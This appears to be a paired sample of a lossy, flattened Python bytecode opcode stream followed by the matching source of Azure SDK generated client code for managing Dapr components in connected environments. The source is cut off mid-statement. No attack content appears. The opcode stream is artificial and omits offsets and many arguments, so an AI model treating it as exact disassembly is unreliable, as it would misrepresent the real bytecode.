JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_FAST cls LOAD_GLOBAL build_get_request LOAD_FAST resource_group_name LOAD_FAST connected_environment_name LOAD_FAST component_name LOAD_FAST self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_FAST api_version LOAD_FAST self LOAD_ATTR get LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_FAST _headers LOAD_FAST _params LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'subscription_id', 'api_version', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST False STORE_FAST _stream LOAD_FAST self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200,) COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_FAST error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR DefaultErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_METHOD _deserialize LOAD_CONST 'DaprComponent' LOAD_FAST pipeline_response CALL_METHOD STORE_FAST deserialized LOAD_FAST cls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_FAST pipeline_response LOAD_FAST deserialized BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_FAST deserialized RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_FAST error_map LOAD_FAST error_map LOAD_METHOD update LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'content_type' LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Content-Type' LOAD_CONST None CALL_METHOD CALL_METHOD STORE_FAST content_type LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_FAST cls LOAD_FAST content_type JUMP_IF_TRUE_OR_POP LOAD_CONST 'application/json' STORE_FAST content_type LOAD_CONST None STORE_FAST _json LOAD_CONST None STORE_FAST _content LOAD_GLOBAL isinstance LOAD_FAST dapr_component_envelope LOAD_GLOBAL IOBase LOAD_GLOBAL bytes BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST dapr_component_envelope STORE_FAST _content JUMP_FORWARD to 182 LOAD_FAST self LOAD_ATTR _serialize LOAD_METHOD body LOAD_FAST dapr_component_envelope LOAD_CONST 'DaprComponent' CALL_METHOD STORE_FAST _json LOAD_GLOBAL build_create_or_update_request LOAD_FAST resource_group_name LOAD_FAST connected_environment_name LOAD_FAST component_name LOAD_FAST self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_FAST api_version LOAD_FAST content_type LOAD_FAST _json LOAD_FAST _content LOAD_FAST self LOAD_ATTR create_or_update LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_FAST _headers LOAD_FAST _params LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'subscription_id', 'api_version', 'content_type', 'json', 'content', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST False STORE_FAST _stream LOAD_FAST self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200,) COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_FAST error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR DefaultErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_METHOD _deserialize LOAD_CONST 'DaprComponent' LOAD_FAST pipeline_response CALL_METHOD STORE_FAST deserialized LOAD_FAST cls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_FAST pipeline_response LOAD_FAST deserialized BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_FAST deserialized RETURN_VALUE LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_FAST error_map LOAD_FAST error_map LOAD_METHOD update LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_FAST cls LOAD_GLOBAL build_delete_request LOAD_FAST resource_group_name LOAD_FAST connected_environment_name LOAD_FAST component_name LOAD_FAST self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_FAST api_version LOAD_FAST self LOAD_ATTR delete LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_FAST _headers LOAD_FAST _params LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'subscription_id', 'api_version', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST False STORE_FAST _stream LOAD_FAST self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200, 204) COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_FAST error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR DefaultErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS LOAD_FAST cls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_FAST pipeline_response LOAD_CONST None BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_FAST error_map LOAD_FAST error_map LOAD_METHOD update LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_FAST cls LOAD_GLOBAL build_list_secrets_request LOAD_FAST resource_group_name LOAD_FAST connected_environment_name LOAD_FAST component_name LOAD_FAST self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_FAST api_version LOAD_FAST self LOAD_ATTR list_secrets LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_FAST _headers LOAD_FAST _params LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'subscription_id', 'api_version', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST False STORE_FAST _stream LOAD_FAST self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200,) COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_FAST error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR DefaultErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_METHOD _deserialize LOAD_CONST 'DaprSecretsCollection' LOAD_FAST pipeline_response CALL_METHOD STORE_FAST deserialized LOAD_FAST cls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_FAST pipeline_response LOAD_FAST deserialized BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_FAST deserialized RETURN_VALUE
from io import IOBase from typing import Any, Callable, Dict, IO, Iterable, Optional, TypeVar, Union, overload import urllib.parse from azure.core.exceptions import ( ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, ResourceNotModifiedError, map_error, ) from azure.core.paging import ItemPaged from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import HttpResponse from azure.core.rest import HttpRequest from azure.core.tracing.decorator import distributed_trace from azure.core.utils import case_insensitive_dict from azure.mgmt.core.exceptions import ARMErrorFormat from .. import models as _models from .._serialization import Serializer from .._vendor import ContainerAppsAPIClientMixinABC, _convert_request T = TypeVar("T") ClsType = Optional[ Callable[[PipelineResponse[HttpRequest, HttpResponse], T, Dict[str, Any]], Any] ] _SERIALIZER = Serializer() _SERIALIZER.client_side_validation = False def build_list_request( resource_group_name: str, connected_environment_name: str, subscription_id: str, **kwargs: Any ) -> HttpRequest: _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", "2023-05-01") ) accept = _headers.pop("Accept", "application/json") _url = kwargs.pop( "template_url", "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents", ) # pylint: disable=line-too-long path_format_arguments = { "subscriptionId": _SERIALIZER.url( "subscription_id", subscription_id, "str", min_length=1 ), "resourceGroupName": _SERIALIZER.url( "resource_group_name", resource_group_name, "str", max_length=90, min_length=1, ), "connectedEnvironmentName": _SERIALIZER.url( "connected_environment_name", connected_environment_name, "str" ), } _url: str = _url.format(**path_format_arguments) # type: ignore _params["api-version"] = _SERIALIZER.query("api_version", api_version, "str") _headers["Accept"] = _SERIALIZER.header("accept", accept, "str") return HttpRequest( method="GET", url=_url, params=_params, headers=_headers, **kwargs ) def build_get_request( resource_group_name: str, connected_environment_name: str, component_name: str, subscription_id: str, **kwargs: Any ) -> HttpRequest: _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", "2023-05-01") ) accept = _headers.pop("Accept", "application/json") _url = kwargs.pop( "template_url", "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}", ) # pylint: disable=line-too-long path_format_arguments = { "subscriptionId": _SERIALIZER.url( "subscription_id", subscription_id, "str", min_length=1 ), "resourceGroupName": _SERIALIZER.url( "resource_group_name", resource_group_name, "str", max_length=90, min_length=1, ), "connectedEnvironmentName": _SERIALIZER.url( "connected_environment_name", connected_environment_name, "str" ), "componentName": _SERIALIZER.url("component_name", component_name, "str"), } _url: str = _url.format(**path_format_arguments) # type: ignore _params["api-version"] = _SERIALIZER.query("api_version", api_version, "str") _headers["Accept"] = _SERIALIZER.header("accept", accept, "str") return HttpRequest( method="GET", url=_url, params=_params, headers=_headers, **kwargs ) def build_create_or_update_request( resource_group_name: str, connected_environment_name: str, component_name: str, subscription_id: str, **kwargs: Any ) -> HttpRequest: _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", "2023-05-01") ) content_type: Optional[str] = kwargs.pop( "content_type", _headers.pop("Content-Type", None) ) accept = _headers.pop("Accept", "application/json") _url = kwargs.pop( "template_url", "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}", ) # pylint: disable=line-too-long path_format_arguments = { "subscriptionId": _SERIALIZER.url( "subscription_id", subscription_id, "str", min_length=1 ), "resourceGroupName": _SERIALIZER.url( "resource_group_name", resource_group_name, "str", max_length=90, min_length=1, ), "connectedEnvironmentName": _SERIALIZER.url( "connected_environment_name", connected_environment_name, "str" ), "componentName": _SERIALIZER.url("component_name", component_name, "str"), } _url: str = _url.format(**path_format_arguments) # type: ignore _params["api-version"] = _SERIALIZER.query("api_version", api_version, "str") if content_type is not None: _headers["Content-Type"] = _SERIALIZER.header( "content_type", content_type, "str" ) _headers["Accept"] = _SERIALIZER.header("accept", accept, "str") return HttpRequest( method="PUT", url=_url, params=_params, headers=_headers, **kwargs ) def build_delete_request( resource_group_name: str, connected_environment_name: str, component_name: str, subscription_id: str, **kwargs: Any ) -> HttpRequest: _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", "2023-05-01") ) accept = _headers.pop("Accept", "application/json") _url = kwargs.pop( "template_url", "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}", ) # pylint: disable=line-too-long path_format_arguments = { "subscriptionId": _SERIALIZER.url( "subscription_id", subscription_id, "str", min_length=1 ), "resourceGroupName": _SERIALIZER.url( "resource_group_name", resource_group_name, "str", max_length=90, min_length=1, ), "connectedEnvironmentName": _SERIALIZER.url( "connected_environment_name", connected_environment_name, "str" ), "componentName": _SERIALIZER.url("component_name", component_name, "str"), } _url: str = _url.format(**path_format_arguments) # type: ignore _params["api-version"] = _SERIALIZER.query("api_version", api_version, "str") _headers["Accept"] = _SERIALIZER.header("accept", accept, "str") return HttpRequest( method="DELETE", url=_url, params=_params, headers=_headers, **kwargs ) def build_list_secrets_request( resource_group_name: str, connected_environment_name: str, component_name: str, subscription_id: str, **kwargs: Any ) -> HttpRequest: _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", "2023-05-01") ) accept = _headers.pop("Accept", "application/json") _url = kwargs.pop( "template_url", "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}/listSecrets", ) # pylint: disable=line-too-long path_format_arguments = { "subscriptionId": _SERIALIZER.url( "subscription_id", subscription_id, "str", min_length=1 ), "resourceGroupName": _SERIALIZER.url( "resource_group_name", resource_group_name, "str", max_length=90, min_length=1, ), "connectedEnvironmentName": _SERIALIZER.url( "connected_environment_name", connected_environment_name, "str" ), "componentName": _SERIALIZER.url("component_name", component_name, "str"), } _url: str = _url.format(**path_format_arguments) # type: ignore _params["api-version"] = _SERIALIZER.query("api_version", api_version, "str") _headers["Accept"] = _SERIALIZER.header("accept", accept, "str") return HttpRequest( method="POST", url=_url, params=_params, headers=_headers, **kwargs ) class ConnectedEnvironmentsDaprComponentsOperations: """ .. warning:: **DO NOT** instantiate this class directly. Instead, you should access the following operations through :class:`~azure.mgmt.appcontainers.ContainerAppsAPIClient`'s :attr:`connected_environments_dapr_components` attribute. """ models = _models def __init__(self, *args, **kwargs): input_args = list(args) self._client = input_args.pop(0) if input_args else kwargs.pop("client") self._config = input_args.pop(0) if input_args else kwargs.pop("config") self._serialize = input_args.pop(0) if input_args else kwargs.pop("serializer") self._deserialize = ( input_args.pop(0) if input_args else kwargs.pop("deserializer") ) @distributed_trace def list( self, resource_group_name: str, connected_environment_name: str, **kwargs: Any ) -> Iterable["_models.DaprComponent"]: """Get the Dapr Components for a connected environment. Get the Dapr Components for a connected environment. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param connected_environment_name: Name of the connected environment. Required. :type connected_environment_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either DaprComponent or the result of cls(response) :rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.appcontainers.models.DaprComponent] :raises ~azure.core.exceptions.HttpResponseError: """ _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) cls: ClsType[_models.DaprComponentsCollection] = kwargs.pop("cls", None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) def prepare_request(next_link=None): if not next_link: request = build_list_request( resource_group_name=resource_group_name, connected_environment_name=connected_environment_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.list.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) else: _parsed_next_link = urllib.parse.urlparse(next_link) _next_request_params = case_insensitive_dict( { key: [urllib.parse.quote(v) for v in value] for key, value in urllib.parse.parse_qs( _parsed_next_link.query ).items() } ) _next_request_params["api-version"] = self._config.api_version request = HttpRequest( "GET", urllib.parse.urljoin(next_link, _parsed_next_link.path), params=_next_request_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) request.method = "GET" return request def extract_data(pipeline_response): deserialized = self._deserialize( "DaprComponentsCollection", pipeline_response ) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) # type: ignore return deserialized.next_link or None, iter(list_of_elem) def get_next(next_link=None): request = prepare_request(next_link) _stream = False pipeline_response: PipelineResponse = ( self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200]: map_error( status_code=response.status_code, response=response, error_map=error_map, ) error = self._deserialize.failsafe_deserialize( _models.DefaultErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) return pipeline_response return ItemPaged(get_next, extract_data) list.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents" } @distributed_trace def get( self, resource_group_name: str, connected_environment_name: str, component_name: str, **kwargs: Any ) -> _models.DaprComponent: """Get a dapr component. Get a dapr component. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param connected_environment_name: Name of the connected environment. Required. :type connected_environment_name: str :param component_name: Name of the Dapr Component. Required. :type component_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: DaprComponent or the result of cls(response) :rtype: ~azure.mgmt.appcontainers.models.DaprComponent :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) cls: ClsType[_models.DaprComponent] = kwargs.pop("cls", None) request = build_get_request( resource_group_name=resource_group_name, connected_environment_name=connected_environment_name, component_name=component_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.get.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = ( self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200]: map_error( status_code=response.status_code, response=response, error_map=error_map ) error = self._deserialize.failsafe_deserialize( _models.DefaultErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) deserialized = self._deserialize("DaprComponent", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}" } @overload def create_or_update( self, resource_group_name: str, connected_environment_name: str, component_name: str, dapr_component_envelope: _models.DaprComponent, *, content_type: str = "application/json", **kwargs: Any ) -> _models.DaprComponent: """Creates or updates a Dapr Component. Creates or updates a Dapr Component in a connected environment. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param connected_environment_name: Name of the connected environment. Required. :type connected_environment_name: str :param component_name: Name of the Dapr Component. Required. :type component_name: str :param dapr_component_envelope: Configuration details of the Dapr Component. Required. :type dapr_component_envelope: ~azure.mgmt.appcontainers.models.DaprComponent :keyword content_type: Body Parameter content-type. Content type parameter for JSON body. Default value is "application/json". :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :return: DaprComponent or the result of cls(response) :rtype: ~azure.mgmt.appcontainers.models.DaprComponent :raises ~azure.core.exceptions.HttpResponseError: """ @overload def create_or_update( self, resource_group_name: str, connected_environment_name: str, component_name: str, dapr_component_envelope: IO, *, content_type: str = "application/json", **kwargs: Any ) -> _models.DaprComponent: """Creates or updates a Dapr Component. Creates or updates a Dapr Component in a connected environment. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param connected_environment_name: Name of the connected environment. Required. :type connected_environment_name: str :param component_name: Name of the Dapr Component. Required. :type component_name: str :param dapr_component_envelope: Configuration details of the Dapr Component. Required. :type dapr_component_envelope: IO :keyword content_type: Body Parameter content-type. Content type parameter for binary body. Default value is "application/json". :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :return: DaprComponent or the result of cls(response) :rtype: ~azure.mgmt.appcontainers.models.DaprComponent :raises ~azure.core.exceptions.HttpResponseError: """ @distributed_trace def create_or_update( self, resource_group_name: str, connected_environment_name: str, component_name: str, dapr_component_envelope: Union[_models.DaprComponent, IO], **kwargs: Any ) -> _models.DaprComponent: """Creates or updates a Dapr Component. Creates or updates a Dapr Component in a connected environment. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param connected_environment_name: Name of the connected environment. Required. :type connected_environment_name: str :param component_name: Name of the Dapr Component. Required. :type component_name: str :param dapr_component_envelope: Configuration details of the Dapr Component. Is either a DaprComponent type or a IO type. Required. :type dapr_component_envelope: ~azure.mgmt.appcontainers.models.DaprComponent or IO :keyword content_type: Body Parameter content-type. Known values are: 'application/json'. Default value is None. :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :return: DaprComponent or the result of cls(response) :rtype: ~azure.mgmt.appcontainers.models.DaprComponent :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) content_type: Optional[str] = kwargs.pop( "content_type", _headers.pop("Content-Type", None) ) cls: ClsType[_models.DaprComponent] = kwargs.pop("cls", None) content_type = content_type or "application/json" _json = None _content = None if isinstance(dapr_component_envelope, (IOBase, bytes)): _content = dapr_component_envelope else: _json = self._serialize.body(dapr_component_envelope, "DaprComponent") request = build_create_or_update_request( resource_group_name=resource_group_name, connected_environment_name=connected_environment_name, component_name=component_name, subscription_id=self._config.subscription_id, api_version=api_version, content_type=content_type, json=_json, content=_content, template_url=self.create_or_update.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = ( self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200]: map_error( status_code=response.status_code, response=response, error_map=error_map ) error = self._deserialize.failsafe_deserialize( _models.DefaultErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) deserialized = 